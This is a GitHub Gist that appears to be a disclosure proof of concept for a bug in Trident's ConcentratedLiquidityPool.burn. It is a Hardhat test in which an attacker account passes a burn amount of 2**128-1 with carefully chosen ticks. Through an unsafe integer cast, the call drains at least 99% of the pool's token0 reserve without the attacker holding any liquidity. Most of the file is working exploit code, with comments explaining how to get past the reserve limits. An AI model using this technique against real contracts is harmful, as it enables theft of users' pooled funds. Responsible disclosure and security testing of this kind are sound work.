Created
October 5, 2021 18:28
-
-
Save MrToph/1731dd6947073343cf6f942985d556a6 to your computer and use it in GitHub Desktop.
POC of ConcentratedLiquidityPool.burn bug. Just replace the existing ConcentratedLiquidityPoolTest.ts file contents with this one and then run `yarn; yarn build; yarn test -- test/ConcentratedLiquidityPoolTestAttack.ts`
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { expect } from "chai"; | |
import { ethers, network } from "hardhat"; | |
import { | |
addLiquidityViaRouter, | |
_addLiquidityViaRouter, | |
removeLiquidityViaManager, | |
collectFees, | |
collectProtocolFee, | |
getDx, | |
getDy, | |
getTickAtCurrentPrice, | |
LinkedListHelper, | |
swapViaRouter, | |
} from "./harness/Concentrated"; | |
import { getBigNumber } from "./harness/helpers"; | |
import { Trident } from "./harness/Trident"; | |
import { BigNumber } from "@ethersproject/bignumber"; | |
describe.only("Concentrated Liquidity Product Pool", function () { | |
let snapshotId: string; | |
let trident: Trident; | |
let defaultAddress: string; | |
const helper = new LinkedListHelper(-887272); | |
const step = 10800; | |
before(async () => { | |
trident = await Trident.Instance.init(); | |
defaultAddress = trident.accounts[0].address; | |
snapshotId = await ethers.provider.send("evm_snapshot", []); | |
}); | |
afterEach(async () => { | |
await network.provider.send("evm_revert", [snapshotId]); | |
snapshotId = await ethers.provider.send("evm_snapshot", []); | |
}); | |
describe("Valid actions", async () => { | |
// 👆 copy of ConcentratedLiquidityPoolTest.ts; attack starts here | |
it("Should attack pool by calling burn exploiting wrong typecast", async () => { | |
const pool = trident.concentratedPools[0]; | |
helper.reset(); | |
const tickSpacing = (await pool.getImmutables())._tickSpacing; | |
const tickAtPrice = await getTickAtCurrentPrice(pool); | |
const nearestValidTick = tickAtPrice - (tickAtPrice % tickSpacing); | |
const nearestEvenValidTick = (nearestValidTick / tickSpacing) % 2 == 0 ? nearestValidTick : nearestValidTick + tickSpacing; | |
// assume increasing tick value by one step brings us to a valid tick | |
// satisfy "lower even" & "upper odd" conditions | |
let lower = nearestEvenValidTick - step; | |
let upper = nearestEvenValidTick + step + tickSpacing; | |
let addLiquidityParams = { | |
pool: pool, | |
amount0Desired: getBigNumber(1000), | |
amount1Desired: getBigNumber(1000), | |
native: false, | |
lowerOld: helper.insert(lower), | |
lower, | |
upperOld: helper.insert(upper), | |
upper, | |
positionOwner: trident.concentratedPoolManager.address, | |
recipient: defaultAddress, | |
}; | |
await addLiquidityViaRouter(addLiquidityParams); | |
/** | |
* ATTACK BEGINS HERE | |
*/ | |
// we choose burnAmount such that the unsafe cast leads to the burn actually _providing_ of 1 wei | |
// 2**128 - 1 => 0xFFFF... = -1 as int128. fails when trying to send out too much | |
const burnAmount = BigNumber.from(`2`).pow(128).sub(`1`); | |
// const burnAmount = BigNumber.from(`2`).pow(128).sub( | |
// `1917580707794349315672650982405401` // MAX_TICK_LIQUIDITY - 1 | |
// ); | |
// to circumvent the pool trying to send out more than its reserve, we choose ticks smartly | |
// upper - lower = 1 is optimal, and the higher the lower tick the less we try to withdraw | |
// this is optimal for current reserves and withdraws almost all token0 | |
// see DyDxMath.getDx to understand why the tick range influences the token0 amount to redeem | |
// chosen by hand to work for these reserve values | |
lower = 609332; // must be < MAX_TICK = 2 ** 23 - 1 | |
upper = lower + 1; | |
// burn does not correctly update the reserves, only removes fees (different bug) | |
// thus we need to check the actual balances of the pool | |
const tokens = await pool.getAssets(); | |
const token0BalanceInitial = await Trident.Instance.bento.balanceOf(tokens[0], pool.address); | |
expect(token0BalanceInitial).eq(`1000000000000000000000`); | |
const attacker = trident.accounts[4]; | |
// attacker does not actually have to pay anything or own LP tokens because the unsafe cast acts like a mint regarding the LP position | |
await pool.connect(attacker).burn( | |
ethers.utils.defaultAbiCoder.encode( | |
// address recipient, bool unwrapBento, uint256 toBurn | |
["int24", "int24", "uint128", "address", "bool"], | |
[lower, upper, burnAmount, attacker.address, false] | |
) | |
); | |
const token0BalanceAfter = await Trident.Instance.bento.balanceOf(tokens[0], pool.address); | |
const token0PercentageStolen = token0BalanceInitial.sub(token0BalanceAfter).mul(100).div(token0BalanceInitial); | |
console.log( | |
`token0PercentageStolen`, | |
token0PercentageStolen.toString(), | |
`%`, | |
token0BalanceAfter.toString(), | |
token0BalanceInitial.toString() | |
); | |
// we stole >= 99% of token0 reserve | |
expect(token0PercentageStolen).gte(`99`); | |
}); | |
}); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment